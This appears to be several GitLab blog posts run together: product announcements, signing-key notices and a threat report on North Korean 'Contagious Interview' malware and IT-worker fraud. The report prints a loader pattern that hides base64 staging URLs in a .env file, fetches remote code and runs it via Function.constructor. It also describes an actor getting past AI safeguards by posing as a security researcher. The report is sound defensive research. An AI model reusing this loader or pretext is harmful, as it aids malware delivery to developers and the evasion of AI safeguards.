CI/CD Job Performance Metrics changes that by adding a new job-focused panel to the CI/CD analytics page at the project level.

For each job in your pipelines, you can see:

• Typical (P50, median) and worst‑case (P95) job duration, so you can quickly view normal versus slowest runs
• Failure rate, so you can spot fragile or flaky jobs
• Job name and stage, covering the last 30 days by default

The table is sortable, searchable by job name, and paginated, so platform teams get a single view to answer questions that previously required separate tools or custom reporting.

Try it now

• Navigate to your project and select Analyze > CI/CD analytics.
• Look for the CI/CD job performance metrics panel and sort by duration or failure rate to find your slowest or least reliable jobs.

Documentation

• CI/CD analytics – CI/CD job performance metrics

What’s coming next

We’re working on stage-level grouping, so you can view aggregated metrics across your build, test, and deploy stages, and quickly understand where to focus optimization work.

Share your feedback:

• CI/CD job performance metrics epic

Container Virtual Registry

Tier: GitLab Premium, GitLab Ultimate Status: Beta, API-ready in 18.9

Most organizations pulling container images into CI/CD pipelines rely on multiple registries: Docker Hub, Harbor, Quay, and internal registries, to name a few. Managing authentication, availability, and caching across all of them is operational overhead that slows pipelines down and introduces fragility.

The Container Virtual Registry lets you create a single GitLab endpoint that pulls from multiple upstream container sources with built-in caching.

Instead of configuring credentials and availability for each registry individually in your pipeline configuration, you can:

• Point your pipelines at one GitLab virtual registry endpoint
• Configure multiple upstream registries (Docker Hub, Harbor, Quay, and others using long-lived token authentication)
• Let GitLab resolve image pulls automatically, with pull-through caching to reduce bandwidth costs and improve reliability

For teams evaluating GitLab as a container registry replacement, this closes a critical capability gap. For teams already managing multi-registry container workflows, it centralizes image management into GitLab and cuts down on repeated pulls.

What the beta supports today

• Upstream registries using long-lived token authentication: Docker Hub, Harbor, Quay, and other compatible registries
• Pull-through caching so commonly used images are served from GitLab after the first pull
• API-first configuration, with UI management in progress++

Cloud provider registries requiring IAM authentication (such as Amazon Elastic Container Registry, Google Artifact Registry, and Azure Container Registry) are being considered for future iterations.

Test it today

• The Container Virtual Registry is API-ready in 18.9.
• SaaS (GitLab.com): Request access through your CSM or by commenting on the feedback issue below to have the feature flag enabled for your group.
• Self-managed: Enable the feature flag and configure the virtual registry using the API.

Documentation

• Container Virtual Registry API
• Pull container images from the virtual registry

Watch this walkthrough of the Container Virtual Registry Beta:

Share your feedback:

• Container virtual registry feedback issue

Help us build what matters

Everyone in the GitLab community is a contributor. We built these betas based on community requests.

• CI/CD Job Performance Metrics came from teams who had no easy way to see when build times started trending in the wrong direction, or which jobs were hurting pipeline reliability.
• Container Virtual Registry came from enterprise customers managing multiple registries and looking to reduce tool sprawl and bandwidth costs while evaluating GitLab as a central registry.

Your feedback shapes what we create next. Try one or both of these betas, and share your experience in the linked feedback issues.

This is the first in a series of Core DevOps betas we plan to highlight. More are coming throughout the year, and we hope you’ll help us make them as useful as possible.

The current key used for the metadata signing, with the fingerprint F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F, is set to expire on February 27, 2026, and has been extended to expire on Feb 6, 2028.

Why are we extending the deadline?

The repository metadata signing key's expiration is extended periodically to comply with GitLab security policies and to limit the exposure should the key become compromised. The key's expiration is extended instead of rotating to a new key to be less disruptive for users, as rotating would require all users to replace their trusted key.

What do I need to do?

If you have already configured GitLab repositories on your machine before February 27, 2026, please check out the official documentation on how to fetch and add the new key to your machine.

If you are a new user, there is nothing specific for you to do other than follow the GitLab installation page or the GitLab Runner installation documentation.

More information concerning verification of the repository metadata signatures is available in the Linux package documentation. If you just need to refresh a copy of the public key, then you can find it on any of the GPG keyservers by searching for support@gitlab.com or using the key ID of F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F.

Alternatively, you could download it directly from packages.gitlab.com using the URL: https://packages.gitlab.com/gpg.key.

What if I need additional help?

Please open an issue in the omnibus-gitlab issue tracker.

Supporting the future-ready enterprise

Customers want a DevSecOps platform built to last without forcing large-scale re-engineering every few years. GitLab's unified data model connects the entire software lifecycle into a single source of context, enabling enterprises to standardize pipelines, controls, and metrics at scale. GitLab's continuous innovation in AI-driven capabilities reinforces its long-term relevance as enterprises adopt agentic workflows to accelerate time to value.

GitLab and TCS synchronize multi-agent orchestration, dynamic planning, confidence-scored decisioning, and continuous learning cycles to automate coding, reviews, testing, security, and CI/CD workflows.

GitLab Duo Agent Platform provides Intelligent Orchestration across the software lifecycle through context-aware autonomous actions, multi-step reasoning, code modernization, security scanning, and flow automation, streamlining and accelerating software development. This aligns naturally with TCS’ structured agent hierarchy for IT Operations, enabling dynamic reasoning, planning, and domain agents to invoke GitLab Duo Platform’s specialized agents (e.g., Planner, Security Analyst, Code Review) through MCP-driven integrations and rich project context flows, governed by GitLab’s AI-native DevSecOps controls.

Scaling DevSecOps with platform engineering

Platform engineering shifts the focus from managing individual pipelines and toolchains to building an Internal Developer Platform (IDP) that standardizes how software gets built, secured, tested, and deployed across the organization.

Enterprises scale by productizing the developer experience through platform engineering, operating IDPs with self-service golden paths. Security, compliance, and governance are embedded by default through policy-as-code, standardizing Day 2 operations. GitLab becomes the IDP control plane, and TCS industrializes the design and rolls out self service as a wrapper on the control plane to deliver a strong developer experience. As solution architects, TCS builds self-service paths while GitLab Duo Agent Platform adds agentic AI to automate development across the SDLC.

From DevSecOps to Intelligent Orchestration

A unified DevSecOps platform provides enterprises with a foundation, but as AI agents become active participants in the software lifecycle, the platform must do more than manage code and pipelines. It needs to orchestrate the work of humans and AI agents together, with full lifecycle context and guardrails built into the flow. That's the shift from DevSecOps to Intelligent Orchestration that GitLab Duo Agent Platform enables, improving the quality of software delivery over time.

GitLab Duo Agent Platform

GitLab Duo Agent Platform introduces AI agents into the software development lifecycle that work alongside developers as collaborators. Multiple AI agents handle tasks in parallel — from code generation and testing to CI/CD fixes — reducing bottlenecks and speeding up releases. Developers steer and guide these agents using defined rules, maintaining control while offloading repetitive work. This agent orchestration tackles complex workflows (such as auto-fixing broken pipelines) and frees teams to focus on higher value work.

AI agents work within GitLab's unified data model, creating merge requests, improving code, and supporting compliance, which boosts productivity and velocity. Because every agent action has full project context, is auditable, and is policy-aligned, enterprises can scale AI across thousands of engineers with confidence, maintaining security and regulatory compliance across all automated workflows. This reduces toil for application engineers, DevSecOps engineers, scrum masters, and product managers.

Understanding the reference architecture

GitLab + TCS: A powerful combination

GitLab provides an Intelligent Orchestration platform for DevSecOps where software teams and AI agents work together across the entire development lifecycle. TCS provides industrialized adoption engines, proven reference architectures, large-scale migration factories, enterprise-grade security baselines, enterprise AI capability, AI Trust & Risk management tools and frameworks, and a product mindset for platform operations.

What truly differentiates this combination is TCS' contextual knowledge gained from decades of working with customers across industries, geographies, and regulatory landscapes. This experience enables TCS to contextualize GitLab capabilities to address enterprise constraints like legacy estates, compliance requirements, operating models, and scale challenges — rather than implementing tooling in isolation. Together, GitLab and TCS enable fast, assured, enterprise-scale delivery across clouds with built-in compliance.

To learn more about GitLab + TCS, email ecosystem@gitlab.com.

Why are we extending the deadline?

The package signing key's expiration is extended periodically to comply with GitLab security policies and to limit the exposure should the key become compromised. The key's expiration is extended instead of rotating to a new key to be less disruptive for users, as rotating would require all users to replace their trusted key

What do I need to do?

The only action that needs to be taken is to update your copy of the package signing key if you validate the signatures on the Omnibus packages that GitLab distributes.

The package signing key is not the key that signs the repository metadata used by the OS package managers like apt or yum. Unless you are specifically verifying the package signatures or have configured your package manager to verify the package signatures, there is no action needed on your part to continue installing Omnibus packages.

More information concerning verification of the package signatures is available in the Omnibus documentation. If you just need to refresh a copy of the public key, then you can find it on any of the GPG keyservers by searching for support@gitlab.com or using the key ID of 98BF DB87 FCF1 0076 416C 1E0B AD99 7ACC 82DD 593D.

Alternatively, you could download it directly from packages.gitlab.com using the URL: https://packages.gitlab.com/gitlab/gitlab-ce/gpgkey/gitlab-gitlab-ce-CB947AD886C8E8FD.pub.gpg.

What if I need additional help?

Please open an issue in the omnibus-gitlab issue tracker.

Measure remediation, not just detection

Application security teams don’t struggle to find vulnerabilities; they struggle to make sense of them. Most dashboards show raw counts without context, forcing teams to spend countless hours chasing remediation without understanding what vulnerabilities expose them to the greatest risks.

GitLab Security Dashboard consolidates all vulnerability data into one view that spans projects, groups, and business units.

In 18.6, we introduced the first release of the updated Security Dashboard, allowing teams to view vulnerabilities over time and filter based on project or report type. As part of the 18.9 release, customers will be able to take advantage of new filters and charts that make it easier to slice data by severity, status, scanner, or project and visualize trends such as open vulnerabilities, remediation velocity, vulnerability age distribution, and risk score over time.

Risk scores help teams prioritize remediating their most critical vulnerabilities. The risk score is calculated using factors such as vulnerability age, Exploit Prediction Scoring System (EPSS), and Known Exploited Vulnerability (KEV) scores for related repositories and their security postures. With this data, application security teams can pinpoint which areas need more attention than others.

GitLab Security Dashboard helps application security and development teams:

• Track program effectiveness: Monitor remediation velocity, scanner adoption, and risk posture to show measurable improvement.
• Focus on targeted remediation: Fix vulnerabilities that represent the greater risk to production systems.
• Identify areas for remediation training: Find which teams struggle with remediating vulnerabilities in accordance with company policy to invest in additional training.
• Reduce manual reporting: Eliminate the need for external dashboards and spreadsheets by tracking everything directly within GitLab.

This update reflects GitLab’s continued commitment to making security measurable, contextual, and integrated into everyday development workflows. GitLab Security Dashboard turns raw findings into actionable insights, giving security and development teams the clarity to prioritize, reduce risk faster, and prove their progress.

See Security Dashboard in action

An application security leader preparing for an executive briefing can now show whether investments are reducing risk with clear trendlines: open vulnerabilities decreasing, vulnerability age decreasing, once-prevalent CWE types trending downward, and a healthy risk score. Instead of presenting raw counts, they can demonstrate how the backlog is shrinking and how risk posture is improving quarter over quarter.

At the same time, developers can see the same dashboard highlighting critical vulnerabilities in their active projects, allowing them to focus remediation efforts without exporting data or juggling multiple tools.

For more details on how to get started with GitLab Security Dashboard today, check out our documentation.

There is no action needed by GitLab customers and GitLab remains secure.

Executive summary

What is Contagious Interview?

Since at least 2022, North Korean nation-state threat actors have posed as recruiters to induce software developers to execute malicious code projects under the pretense of technical interviews. Malicious projects execute custom malware, allowing threat actors to steal credentials and remotely control devices, enabling financial and identity theft and lateral movement. This malware distribution campaign has impacted thousands of developers and is tracked in industry research as Contagious Interview.

About the report

In 2025, GitLab identified and banned accounts created by North Korean threat actors used for Contagious Interview. GitLab’s visibility into these actors' code repositories provides unique, real-time intelligence into the infrastructure powering campaign activity. In some instances, we can leverage this insight to identify private GitLab.com projects created and used by North Korean nation-state threat actors. Some private projects contain malware development artifacts powering North Korean nation-state malware campaigns. Other projects contain records and notes or software capabilities that support North Korean sanctions evasion and revenue generation through IT worker activity.

Exposing this activity discourages future attempts by these actors to create GitLab accounts and offers insights other organizations can use to enhance their own defenses.

This report contains a Year in Review summarizing activity from North Korean nation-state actors that used GitLab.com for their operations in 2025, including a campaign-level view into malware infrastructure and technique trends. The report also includes case studies analyzing:

• Financial records maintained by the manager of a North Korean IT worker cell, detailing proceeds from 2022 to 2025
• A synthetic identity creation pipeline used to create at least 135 personas, automated to generate professional connections and contact leads at scale
• A North Korean IT worker controlling 21 unique personas and adding their own image to stolen U.S. identity documents
• A North Korean IT worker recruiting facilitators and working for U.S. organizations while operating from Moscow, Russia

We’re also sharing more than 600 indicators of compromise associated with these case studies, which can be found in the Appendix.

Year in Review

North Korean nation-state malware activity accelerated in the second half of 2025 and peaked in September. We banned an average of 11 accounts per month for distributing North Korean nation-state malware or loaders. We assess that North Korean nation-state malware activity on GitLab.com almost certainly relates to distinct teams operating in parallel based on branching distribution and obfuscation techniques, infrastructure, and malware variants.

Key findings

Here are our key findings, including 2025 campaign trends and malicious code project features.

2025 campaign trends

In 2025, we banned 131 unique accounts distributing malicious code projects we attribute to North Korean nation-state threat actors. We identified malicious projects through a combination of proactive detection and user reports. In every instance, threat actors used primarily JavaScript codebases. Malicious repositories executed JavaScript-based malware families tracked publicly as BeaverTail and Ottercookie in more than 95% of cases, however we also observed the distribution of lower prevalence payloads, including the compiled ClickFix BeaverTail variant we identified in September.

Threat actors typically originated from consumer VPNs when interacting with GitLab.com to distribute malware; however they also intermittently originated from dedicated VPS infrastructure and likely laptop farm IP addresses. Threat actors created accounts using Gmail email addresses in almost 90% of cases. We observed custom email domains in only five cases, all relating to organizations we assess are likely front companies controlled by North Korean threat actors. Based on project composition, threat actors most commonly targeted developers seeking employment in the cryptocurrency, finance, and real estate sectors. Threat actors also targeted developers in sectors, including artificial intelligence and gaming, at a low rate.

In more than 80% of instances, threat actors did not store malware payloads on GitLab.com, instead storing a concealed loader intended to source and execute remote content. Threat actors abused at least six legitimate services to host malware payloads, most commonly Vercel. Threat actors also used custom domains to host malware payloads at least 10 times in 2025.

We observed diverse project structures and a gradual evolution of concealment techniques through 2025. In nine instances, threat actors used malicious NPM dependencies created immediately prior to their use in malicious projects. In December, we observed a cluster of projects executing malware via VS Code tasks, either piping remote content to a native shell or executing a custom script to decode malware from binary data in a fake font file.

Malicious code project features

The most common execution pattern we observed in 2025 had the following features:

• A base64 encoded next-stage URL, header key, and header value, all masquerading as benign variables in a .env file.
• A trigger function intended to source remote content and raise an error.
• A global invocation of the trigger function in a file executed as soon as the project is run.
• A custom error handler intended to execute remote content from the trigger function by using Function.constructor to load a string as executable code.

Example excerpt from a .env file containing malicious encoded variables:

# Runtime Configuration
RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzgyMw
RUNTIME_CONFIG_ACCESS_KEY=eC1zZWNyZXQtaGVhZGVy
RUNTIME_CONFIG_ACCESS_VALUE=c2VjcmV0

Decoded values from the .env file (defanged):

# Runtime Configuration
RUNTIME_CONFIG_API_KEY=hxxps[:]//api-server-mocha.vercel[.]app/api/ipcheck-encrypted/823
RUNTIME_CONFIG_ACCESS_KEY=x-secret-header
RUNTIME_CONFIG_ACCESS_VALUE=secret

Example trigger function intended to source remote content from the concealed staging URL and trigger the custom error handler:

const errorTimeHandler = async () => {
  try {
    const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
    const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
    const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);
    try {
      globalConfig = (await axios.get(`${src}`, {
        headers: {
          [k]: v
        }
      }));
      log('Runtime config loaded successfully.');
    } catch (error) {
      errorHandler(error.response?.data || error.message);
    }
  } catch (err) {
    await errorHandler(err.response?.data || err.message || err);
  }
};

Example custom error handler intended to execute remote code:

const errorHandler = (error) => {
  try {
    if (typeof error !== 'string') {
      sss
      console.error('Invalid error format. Expected a string.');
      return;
    }
    const createHandler = (errCode) => {
      try {
        const handler = new(Function.constructor)('require', errCode);
        return handler;
      } catch (e) {
        console.error('Failed:', e.message);
        return null;
      }
    };
    const handlerFunc = createHandler(error);
    if (handlerFunc) {
      handlerFunc(require);
    } else {
      console.error('Handler function is not available.');
    }
  } catch (globalError) {
    console.error('Unexpected error inside errorHandler:', globalError.message);
  }
};

The error handler execution pattern allows threat actors to spread malicious components across up to four files and follows a code path targets may miss even if they audit code before running it. Staging URLs commonly respond with decoy content unless the correct header values are included with requests. This technique became increasingly common through 2025, alongside other anti-analysis developments, including sandbox detection in Ottercookie and the increasing use of invite-only private projects.

The extent to which distinctive subgroups of activity overlap in time leads us to assess that North Korean nation-state malware distribution on GitLab.com almost certainly relates to distinct teams operating in parallel with limited coordination. We’ve observed instances consistent with individual operators independently trying to fix an execution issue or add a feature to their malware. We also observed instances where threat actors have more than one malware execution pathway in a malicious repository, potentially resulting in malware executing twice or more. These instances suggest low technical proficiency among some operators, who appear to lack confidence when modifying malware code.

Other notable observations

In July 2025, we identified a project containing notes kept by a North Korean nation-state malware distributor. The threat actor maintained a target list containing more than 1,000 individuals' names. Comments added by the threat actor identify 209 individuals having responded to contact attempts, 88 of whom were recorded as having executed a malicious project. This operator also maintained documents and code related to contract software development, suggesting simultaneous engagement in both malware distribution and fraudulent employment.

In September 2025, we observed a North Korean nation-state malware developer using AI to help develop a custom obfuscator for BeaverTail. Based on commit messages and project data, the developer used ChatGPT and Cursor (with an unknown model) to refine their obfuscator by testing whether AI was capable of de-obfuscating their code. Based on AI model responses, the threat actor was able to avoid triggering safeguards by posing as a security researcher attempting to analyze the malware. This demonstrates the broadly empowering nature of AI and the limits of safeguards in preventing use by motivated threat actors. We have not observed the BeaverTail variant the threat actor created in the wild.

In October 2025, a North Korean nation-state-controlled account submitted a support ticket to appeal a ban from GitLab.com for malware distribution. The threat actor, posing as the CTO of a newly created cryptocurrency organization, inquired about the reason for their ban and requested account reinstatement. We assess that this support ticket was likely an attempt to gather information about our detection methodology. We provided no information to the threat actor and also banned a subsequent account they created using the same CTO persona.

Implications

North Korean nation-state malware operations are atypical because of how much direct human effort is involved. The volume of manual effort by many operators presents a challenge to service providers because of the extreme diversity in techniques that emerges.

We observed an increasing emphasis on obfuscation and evasiveness in the second half of 2025, indicating that service provider disruptions are forcing an evolution in tactics. Despite this, we anticipate that North Korean nation-state malware campaigns will continue through 2026 due to the continued effectiveness of the campaign and the high value of developer endpoints to North Korean threat actors.

Mitigation

We banned 131 accounts associated with North Korean nation-state malware distribution in 2025. We’re grateful for the abuse reports we received from GitLab.com users, which helped us to track threat actors through infrastructure and technique shifts. We encourage GitLab.com users encountering malicious or suspicious content to continue to submit abuse reports using the abuse report functionality on user profile pages.

We improved our data collection and clustering of North Korean nation-state accounts and invested in new capabilities to identify threat actor infrastructure. We collaborated with industry partners to share our data, enabling the disruption of accounts on other platforms.

Case studies

Case Study 1: North Korean IT Worker Cell Manager Financial and Administrative Records

Summary

We identified a private project almost certainly controlled by Kil-Nam Kang (강길남), a North Korean national managing a North Korean IT worker cell. Kang maintained detailed financial and personnel records showing earnings of more than US$1.64 million between Q1 2022 and Q3 2025. Kang’s cell currently includes seven other North Korean nationals and generates revenue through freelance software development under false identities. We assess that the cell is highly likely colocated and operating from Beijing, China.

Key findings

In late 2025, we identified a private project containing financial records and administrative documents related to the operation of a North Korean IT worker cell. Detailed financial records span from Q1 2022 to Q3 2025, however less detailed records indicate the cell was operating as early as 2019.

We assess that the project is almost certainly controlled by North Korean national Kil-Nam Kang. Records indicate that Kang managed the cell as two subteams in 2022, however from 2023 onwards only tracked performance at the individual level. Kang maintains detailed personnel records, including dossiers on each team member, performance reviews, and copies of team members’ passports. Kang also has credentials to remotely access each cell member's workstation.

Personnel dossiers list each of the cell members as “베이징주재 김일성종합대학 공동연구중심 연구사”, translating to “Researcher at Kim Il-sung University Joint Research Center in Beijing”. This designation suggests that the cell’s presence in China may be under an academic pretext. Kang generally accessed GitLab.com via Astrill VPN, however we also observed origination from China Unicom IP addresses geolocated to Beijing, most recently 111.197.183.74.

Dossiers list devices and accounts owned by each cell member, including passwords to access accounts. Dossiers list from two to four “대방관계” (“bilateral relations”) for each cell member. We assess that these bilateral relations almost certainly include active facilitators, however may also include inadvertent facilitators or victims of identity theft. Bilateral relations span countries including the U.S., Canada, Mexico, Panama, the U.K., France, Spain, Sweden, Montenegro, Russia, China, Thailand, Indonesia, Malaysia, Philippines, Sri Lanka, Argentina, Chile, and Peru. The project contains other data on bilateral relations, including identity documents, banking information, and credentials to remotely access devices and accounts.

Financial records indicate that the cell generates revenue through freelance and contract software development services. The cell maintains detailed notes linking each software development project to a facilitator persona. These notes include samples of communication styles and notes on facilitator circumstances and temperaments to enable cell members to switch between projects if required. The cell focused on web and mobile app development.

Software development clients pay the cell via digital payment processors. Withdrawal receipts indicate that cell members withdraw funds from payment platforms into Chinese banks. The cell maintained organized banking records, including digital images of Chinese Resident Identity Cards, which are required to access the Chinese financial system. The cell maintained individual records for at least three Chinese banks. One Chinese Resident Identity Card relates to a North Korean national who is not a member of the cell.

The project contained more than 120 spreadsheets, presentations, and documents that systematically track quarterly income performance for individual team members. Reports compare team member earnings against predefined targets and quarter-over-quarter performance. The comprehensiveness and highly structured nature of financial reports is indicative of regular financial monitoring and reporting to leadership.

We aggregated financial data and identified a total reported income of US$1.64 million from Q1 2022 to Q3 2025. The cell had a target of US$1.88 million over the same period. The cell averaged approximately US$117,000 per quarter, approximately US$14,000 per member excluding Kang. The cell produced the highest earnings in the first half of 2022 and lowest earnings in Q3 2025.

We assess that cell income goals were likely set based on a combination of prior earnings and cell membership. In Q3 2025, cell member Won-Jin Kim was dropped from tracking and his documentation was shifted to a directory marked “귀국” (“Return to the home country”). We assess that Won-Jin Kim’s departure from the cell is unlikely to relate to revenue generation performance based on consistently high earnings relative to other members.

The private project also contained performance reviews for cell members, dated 2020. These performance reviews confirm that the cell is physically colocated and include commentary about cell members’:

• Earnings contribution and mutual skills development.
• Voluntary donations for Typhoon Bavi and COVID-19 recovery in North Korea.
• Contributions to collective household duties, including doing laundry, providing haircuts, and purchasing shared food and drink.
• Interpersonal values and adherence to party values.

These reviews suggest that the cell operates as a tightly controlled collective household where individual performance encompasses both revenue generation and ideological conformity. We observed instances of a cell member communicating with an unknown party by continually overwriting an HTML comment hidden in a large decoy codebase. The other party appeared to be able to communicate with North Korea, and provided the cell member with information about personal matters and the international movements of mutual contacts. This communication method was unique to this exchange and may have been an attempt by the cell member to evade surveillance by their superiors.

Implications

This activity provides a unique view into the financial operations and organizational structure of a North Korean IT worker cell. Records demonstrate that these operations function as structured enterprises with defined targets and operating procedures and close hierarchical oversight. This cell’s demonstrated ability to cultivate facilitators globally provides a high degree of operational resiliency and money laundering flexibility.

The declining earnings trend through 2025 may reflect a changing landscape due to increased public awareness of North Korean IT worker activities. Despite this decline, the cell had earnings exceeding US$11,000 per member in Q3 2025, demonstrating a clear capability to generate funds for the regime.

Mitigations

We banned accounts related to this activity.

Case Study 2: Synthetic Identity Creation and Service Abuse at Scale

Summary

We identified a North Korean nation-state software development team collaborating on a large-scale synthetic identity creation capability. The capability included functionality to scrape images and personal data, generate fake passports, and automate email and professional networking accounts to generate leads. The threat actors also developed tools to synchronize Git repositories and created copies of proprietary code they gained access to. This activity cluster created a minimum of 135 synthetic identities purporting to originate from Eastern Europe and Southeast Asia. Using these personas, the actor gained access to at least 48 private codebases.

Key findings

We identified a set of projects contributed to by a North Korean nation-state activity cluster focused on capability development and large scale synthetic identity creation. The cluster included 10 distinct GitLab accounts or Git identities that exhibited concurrent activity or had distinct origins, leading us to assess that the activity cluster highly likely comprised at least a small team of developers. Accounts commonly originated from Virtual Private Servers but intermittently originated from Russian IP space. The development team commenced activities in 2021 but was most active from late-2024 to mid-2025.

The threat actor developed a complex multistage process to generate synthetic identities at scale. The overall flow of the threat actor’s identity creation capability was to:

1. Scrape photographs from social media, AI image generators, and other platforms.
2. Use the legitimate faceswapper.ai service to create novel images by swapping faces from diverse source images into headshot-style images suitable for identity documents.
3. Generate passports with fake personal information using VerifTools and newly created headshots. VerifTools is an illicit fraudulent identity document service disrupted by U.S. authorities in August 2025. Downloaded passports contained watermarks because the threat actor did not pay for VerifTools.
4. Use an automated Adobe Photoshop routine stored in a .atn file to extract and remove VerifTools watermarks.
5. Create accounts on email and professional networking sites. The threat actor used fake passports to seek enhanced identity verification on professional networking sites.

The threat actor’s tooling to interact with abused services was brokered through a control node hosted at 185.92.220.208. This control node served a custom API that allowed individual operators to remotely create, monitor, and control individual accounts. The threat actor used web browsers instrumented with Selenium to interact with abused services. The threat actor primarily automated accounts to make connections and cold contact leads to generate software engineering work.

The threat actor used a combination of dedicated, IPRoyal, and open proxies to obfuscate their activities and stored a massive volume of solutions to animal/object matching CAPTCHA challenges to facilitate bypasses in automated scripts. The control node tracked the efficacy of the threat actor’s accounts, contact scripts, and infrastructure, allowing the threat actor to monitor campaign effectiveness and adapt its techniques over time through an administrative dashboard.

The threat actor stored working data on dedicated infrastructure or in cloud storage accounts rather than on GitLab.com. However, in September 2024, the threat actor inadvertently committed a dump of its database to GitLab.com. The database contained records of profiles controlled at that time, which was early in the development of the capability. The contents of some fields in the database were encrypted, however the server-side decryption routine code stored on GitLab.com contained a hard-coded key, allowing us to decrypt the data.

As of September 2024, the threat actor controlled 135 synthetic identities. Identities most commonly purported to be based in Serbia, but also purportedly originated from Poland, Philippines, Indonesia, Bulgaria, Croatia, Romania, Lithuania, Moldova, Hungary, and Slovakia. For each account, the threat actor stored information about whether identity verification was successful, with overall results indicating the threat actor was successful in just over 40% of verification attempts. Commit volume on the synthetic identity capability escalated sharply from September 2024 to December 2024, indicating that the true scale of the threat actor’s activities may have been much higher. The threat actor also had more than 73,000 leads stored in its database dump, providing insight into the scope of its outbound activities.

The threat actor also created a set of command line tools for standardized Git operations. The tooling was primarily intended to allow the threat actor to mirror Git repositories from private namespaces on a range of cloud and self-managed source code management systems. The tooling allowed the threat actor to push commits to the mirror and then have them synchronized to remote repositories under the correct Git identities. This capability gave the threat actor a safety net against making commits under the wrong identity and also meant that they exfiltrated copies of codebases they gained access to. Based on metadata reports committed to GitLab.com by the threat actor, they used this mirroring tooling on at least 48 unique repositories.

Implications

This cluster is notable among North Korean nation-state activity we observed in 2025 due to the strong focus on automation and continued efficacy monitoring. This cluster also demonstrates that North Korean nation-state threat actors draw on both emerging AI capabilities and the cybercrime ecosystem to enhance their operations.

Identity development is a fundamental element of North Korean nation-state insider activity. North Korean nation-state threat actors incrementally build legitimacy through identities spanning multiple platforms and by seeking enhanced verification services where possible. North Korean nation-state identity cultivation draws on network effects by creating interactions, reviews and testimonials between personas. These tactics have the drawback of increasing threat actors’ exposure to service provider takedowns. Organizations should treat applications with dead links to professional profiles and source code portfolios as highly suspicious.

Mitigations

We banned the accounts associated with this activity and notified impacted service providers of potential abuse of their platforms.

Case Study 3: North Korean Operator Controlling 21 Personas

Summary

We identified an individual North Korean operator controlling at least 21 distinct personas based on real identities. The threat actor was focused on revenue generation through contract and freelance software development. The threat actor’s personas spanned five countries and were supported by doctored identity documents and personal information obtained from open sources and through a likely cyber intrusion.

Key findings

We identified a code project used by an individual North Korean operator active from at least May 2021 until February 2025. The threat actor was focused on generating revenue through contract and freelance software development under a range of stolen or shared identities, spanning at least 21 distinct personas. The threat actor focused on web, blockchain, and cloud skill sets, and created blogs and professional social media accounts on various external platforms. The threat actor typically accessed GitLab.com via commercial VPNs and Virtual Private Servers with RDP enabled. Based on lapses in proxy use, the threat actor was likely physically located in Russia during early 2025.

The threat actor maintained individual directories for each identity, containing identity documents, resumes, signatures, personal information, and payment card information. The threat actor’s identities spanned the U.S., Canada, Ukraine, Estonia, and Macedonia. For five of their eight U.S.-based identities, the threat actor used Photoshop to edit their own image into one or more stolen identity documents, preserving otherwise valid details. The threat actor produced false Florida and Texas driver licenses and false U.S. passports. The threat actor had Photoshop Document (PSD) template files to produce identity documents for Australia, Austria, Canada, Finland, Germany, Malaysia, Mexico, Philippines, and Poland. We identified some of these template files for sale via illicit services online and assess that the threat actor likely purchased the templates.

The threat actor also collected personal information on U.S.-based individuals. The threat actor had files that appear to have been exported from the HR management system of a large U.S.-based hospitality company. The files contained information including personal and contact details, protected class status, and identity document numbers for almost 8,000 employees of the organization. We were unable to locate this data in circulation or data breach aggregators, suggesting that the data may have been obtained by the threat actor during an intrusion or purchased in a one-off sale. The threat actor also had an export of the public Florida voter registration database, which is one of the most detailed publicly available voter databases.

Implications

This threat actor’s activities suggest that North Korean threat actors place a particular value on U.S. identities. We identified no evidence that the threat actor altered non-U.S. identity documents or collected personal data from any other country. This activity also demonstrates that North Korean threat actors, even when focused on earning wages, present a cyber intrusion risk and actively leverage the cybercrime ecosystem to support their operations.

Mitigation

We banned the account associated with this operator.

Case Study 4: North Korean Fake IT Worker Operating from Central Moscow

Summary

We identified a private code repository used by a North Korean fake IT worker likely operating from central Moscow. The threat actor was focused on cultivation of a smaller group of more detailed personas and progressed from freelance work to full-time employment. The threat actor also attempted to recruit remote facilitators to maintain custody of laptops intended to be remotely accessed.

Key findings

We identified a private code project controlled by a North Korean fake IT worker most recently active in December 2025. We identified the project within a week of its creation, however the threat actor's records indicate they have been active on other platforms since at least 2022. The threat actor started as a freelance software developer and 3D modeler but shifted focus to seeking fraudulent full-time employment in 2025. The threat actor’s strategy relied on a smaller number of personas with emphasis on establishing legitimacy through backstopping rather than relying on many disposable personas.

Repository contents indicate that the threat actor began as a fraudulent freelancer. Invoices created by the threat actor during this period were marked payable to individuals and addresses in China, Poland, and Spain. Documents stored by the threat actor indicate that they rotated through accounts on at least three payment processors to receive payments from clients. A spreadsheet stored by the threat actor indicates they were part of a 14-member cell in 2022, however they did not store continuous financial records on GitLab.com. North Korean cells we have observed on GitLab.com typically have smaller membership and this is the only data we have observed consistent with a cell membership exceeding 10.

In early 2025, the threat actor pivoted to attempting to obtain full-time employment at U.S. and U.K. organizations. In March 2025, the threat actor uploaded chat logs to GitLab.com containing exchanges with another likely North Korean operator. The threat actors discussed their progress in recruiting individuals in the U.S. and U.K. to maintain custody of laptops to be remotely accessed in exchange for a fixed fee and the payment of power and internet utilities. The primary threat actor mentioned having a current facilitator based in Hong Kong providing remote access to a device and sharing their identity and a potential facilitator in the U.K. The primary threat actor represented himself as a Chinese national with visa difficulties when attempting to recruit facilitators.

In April 2025, the threat actor operationalized the Hong Kong-based facilitator and started seeking employment. The threat actor circulated a set of resumes with different skill sets on resume-sharing sites and on a personal portfolio website. The threat actor took a series of photographs of themselves and used several AI-headshot services to create professional profile photos.

The threat actor uploaded the original images used to create their AI headshots to GitLab.com. The images contained EXIF metadata, including GPS coordinate data. GPS coordinates stored on the images indicate that they were taken at 55°43'44.4"N 37°36'55.8"E, which is a location in the Yakimanka District in central Moscow. We note that these coordinates were highly likely produced via Windows location services based on WiFi positioning and may have a reduced accuracy compared to true GPS. Despite this limitation, we assess that it is highly likely that this threat actor was based in Moscow when the images were captured on April 18, 2025. The threat actor also commonly originated from Russian IP addresses when accessing GitLab.com without a VPN.

